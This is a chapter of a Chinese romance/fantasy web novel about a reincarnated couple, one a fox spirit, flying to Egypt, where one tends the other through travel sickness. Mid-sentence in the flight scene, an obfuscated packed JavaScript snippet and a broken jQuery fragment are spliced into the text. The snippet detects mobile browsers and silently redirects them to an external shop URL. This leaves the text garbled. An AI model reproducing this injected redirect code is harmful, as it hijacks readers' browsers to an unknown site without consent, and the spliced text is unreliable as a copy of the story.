时间过得飞快,一年过完,进入了蝉鸣躁动的暑假。
准高二的学生们热血方刚,一玩就是一通宵。
参加完同学聚会的胡云之累瘫在沙发上:“不行,老人家造不动了。”
没去参加的顾清放下手中的书,笑着把空调调低。她不喜欢那样吵闹的娱乐场所,偏偏胡云之喜欢热闹。但她也不拘着胡云之。
她觉得这样很好。
上一世,胡云之舍不得顾清一个人,总是有顾虑,走不脱,放不下。
给她们重来一次的机会,顾清有爱自己的家人,胡云之有玩得好的朋友圈,一切都是最幸福的模样。
“我们出去玩一趟吧。”胡云之趴在柔软的沙发上,转过来看向顾清。
顾清把手贴在她的脸边,轻轻摸了摸:“你想去哪里?”
一直是这样,不管胡云之说想去哪里,顾清总是微笑着说好。
胡云之瞥了一眼刚才顾清放书的位置,书皮上写着烫金的三个字——《亡灵书》。“还以为你在好好学习,怎么在看闲书?”
顾清诧异地挑眉:“你见过有人刚放暑假就开始写作业的?”
胡云之:“哦,原来学霸也没什么两样。”
两个装高中生的老货。
“怎么想起来看跟埃及有关的书了?”胡云之从沙发上挣扎着爬起来,去冰箱找鲜榨的饮料,自己加冰块、兑气泡水喝。
她给顾清也倒了一杯。顾清接在手里没马上喝:“谢谢。前几天做了个梦……恰好看看和太阳神有关的内容。”
顾清没细说,胡云之也默契地没追问。
自古以来,梦都被赋予预知或警示的色彩。
像顾清这种经历特殊的人,对梦有所警觉是难免的。
胡云之的身份也不便问,天谴就像一把悬在她头上的剑。
“好喝——”胡云之舒服地感叹一声,享受着早晨的阳光,等着半干的头发被自然风吹干。
顾清勾了下唇角,橙汁的果粒和清爽的气泡水混合在口中,冰块融化凝出的水珠顺着杯壁滑下,这是夏天的味道。
夏天就应该去——埃及。
有胡云之跟着,顾父顾母十分放心,大手一挥批了资金。
也没问去哪。
胡云之疑惑:“你爹娘对你一向这么放养吗?”
顾清笑着揉了揉了胡云之的头发。还行,干得差不多了。
上午顾清守着胡云之补了个觉,就在顾清那个有大落地窗的卧室。
胡云之是被庆芳阿姨做的饭香醒的,今天顾父顾母不回家吃。
她睡醒,眨眨眼。
看着顾清的侧脸,窗户只拉了半扇纱帘,刺眼的盛阳投在地面,温和的余光笼在顾清平和面容上。
她困顿或流浪,苦苦追寻的都只是像此刻的宁静。
夏天因顾清而变得安静。
“醒了?”
胡云之哼哼两声,突然一个鲤鱼打挺、起床——瘫倒。
床真舒服。
顾清俯下身,与她亲昵地蹭了蹭面颊,挽住她的腰肢。
胡云之顺势勾住顾清的脖子。
顾清拿她没办法,无奈笑笑,把她扶起来:“下楼吧。”
旅行社的招待室冷风呼呼地吹,胡云之苦恼地摸着自己的小肚子。
她贴在顾清耳边悄声问:“我是不是该少吃点了。”
顾清看都没看,快速答:“不是。”
胡云之满意地摸摸肚子,她可没想真的减肥。虽然她现在记忆不全,但那种灾年人吃不饱饭的悲痛是刻在骨子里的。物产丰饶是时代的幸福。
“两位久等了。”旅行社店员赔着笑将介绍册发给她们一人一本。
心中暗自腹诽,这两个人看起来好年轻。
一般埃及的旅游路线抵达地都是开罗,之后飞机去阿斯旺,再抵达卢克索,最后去赫尔格达。
“最后一个目的地划掉了?”胡云之皱了下眉。
“是啊,红海那边不安全,已经不让去了。不过可以在之前的地方多停留一下,这样时间不赶嘛,多感受一下当地的风土人情。”店员就这样轻描淡写地把坏事说成好的。
“有战争?”顾清放下册子喝了口水,偏了下头对胡云之说,“那是得选保险点的路线。”
听说有战争都没有改目的地的意思?这单眼看要成。
店员很有眼力见,她们两个人在看册子的时候,看到豪华项目都不看价格,只看内容。
“那我给您推荐我们这个10天的豪华小团游。全程有多位双语导游陪同,司机是我们长期合作的本地人。”
顾清看着那个保额最高赔付五百万的保险推荐,哭笑不得。
最终这单被遗憾不能去追海豚的胡云之敲定。
顾清临走又折回去说了些什么。
胡云之用好奇的眼神盯着她,她却只牵起胡云之的手:“到时候你就知道了。”
“飞机上有床?!”胡云之兴奋地抱着顾清的胳膊。估计自己身上的衣服不干净,没有立马扑到两米多宽的大床上滚个两圈。
顾清纵容地摸摸她的侧脸。
上一世胡云之遇见她的时候,她一无所有。
现在她想把所有好的事物都奉给胡云之。
顾清提前交代了旅游社,要和航司预定升舱和并舱。
把她和胡云之的床位合并,以便她照顾胡云之。
她想让胡云之这趟长途旅行尽量减轻痛苦。
因为她知道,胡云之离开境内会不舒服,但既然胡云之想去看看,她就会把其他配套的做到最好。
就像胡云之以前做的一样。
刚上飞机的胡云之跟小仓鼠一样,缩在顾清给她带的充气抱枕里,空姐送什么都想尝尝。
顾清用手指轻点自己的唇边,示意她唇边有残渣。
她却不擦,只是眯着眼把脸伸过去。
顾清落下无奈的轻笑,任劳任怨地服务——帮她擦脸。
新鲜劲儿很快就被不适感取代。
离开境内,修为像被从身体里抽离一样无力,胡云之面色白得透明,她挤在顾清怀里。
顾清了然地关闭阅读灯,放下书,把她护在怀里。
顾清的手指冰凉,划过胡云之面颊的时候能让她舒服一点。
她费劲地抓住顾清的手,完全贴在自己脸上。
这样的行程有20小时,后面还很难熬。
入夜,机舱里安静又昏暗。
顾清完全没有睡,她嘱咐空姐,隔半小时换一次冰饮。
到后面,她直接叫空姐换冰块,不用来水了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890192|212703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
她将冰杯攥在掌心,轮流贴在胡云之脸上。只有柔软的手能做到。
胡云之这一觉睡得很舒服,还做了个梦。
梦里顾清抱着满身是血的她,用尽最后的力气相拥,胡云之的眼睛已经因为修为透支而不太看得清东西了,但她仍用手指摸索着顾清的唇,血味在她们的唇齿间蔓延。
直到顾清上不来气,咳嗽一声。两个人浑身狼狈,却满足地相视而笑。
好像天大地大,再不能将她们分开。
她已经很久不曾做过梦了。
慢慢睁开眼,胡云之的视线对上顾清那双幽深的眼。
一动不动,垂下的眼皮看起来有些疲惫,但担忧支撑顾清一直守着她。
好傻。
明明是出来玩的,却把自己搞得那么累怎么做什么。
她轻轻绽开一抹笑:“我感觉好多了。”
这话不像作伪,顾清看她的面色确实是好些了:“还睡吗?”
胡云之摇摇头。
顾清打开温暖柔光的阅读灯,仔细看了看胡云之脸色,确实缓过来了,还泛起些红润的血色,这才松了口气。
胡云之注意到,顾清故意把手背在身后。
想起睡梦中始终覆盖在脸上的柔软冰凉,她有了个猜想。
不由分说地把顾清的手扯过来看。
“别。”顾清下意识想阻止,但胡云之已经看到了她通红的双手。
是她刚才不停地换手,一只手攥着冰杯,一只手放在胡云之脸上,来回反复,把手冻得泛红。
惊诧从胡云之眸中流过,而后转为铺天盖地的心疼。
“对不起……”
如果不是自己提议出来玩,顾清也不会这么委屈自己。
顾清心中暗自叹气,她做这些,并不是为了胡云之心疼她。
况且自己身上这点不适,和胡云之承受的痛苦比起来又算得了什么?
本地神明,一贯如此,离开了信仰诞生和信徒所在的地方,难有好受的。
“我只是想让你好受些。”顾清的声音低低的。
谁要她委屈自己!
胡云之狠狠扑了上来,把顾清压在抱枕上。顾清喉间发出被挤压的闷哼声。
“以后不许再做这种傻事了,听到没。”胡云之把头埋在顾清颈窝,偷偷咬牙切齿。
还挺凶。但是藏不住声音里隐约的哭腔。
哭什么。
老妻多少年了,还为这点事哭鼻子。
于是顾清又变成了要哄人的一方,抱着自己掉眼泪的狐仙妻子,一边哄一边擦眼泪。
过了好久,胡云之才平静下来,她撇着嘴撑起身子,看了看桌子空空如也,很是失落。
没吃完的都被空姐收走了。
顾清想抬手再叫,被她制止了。
她先是看了看顾清的手。
嗯,已经不红了。
指节分明,匀称细长,润洁白腻。
她捧着这双令她爱怜的手放在自己唇边轻吻了一下,然后笑眯眯地说:“我们去餐bar吧,我想和你多说说话。”
周围人都在休息。
她不想打扰大家。但她想和顾清说很多话,最好两个人一直说一辈子。
狐仙的一辈子有多长?她也说不清。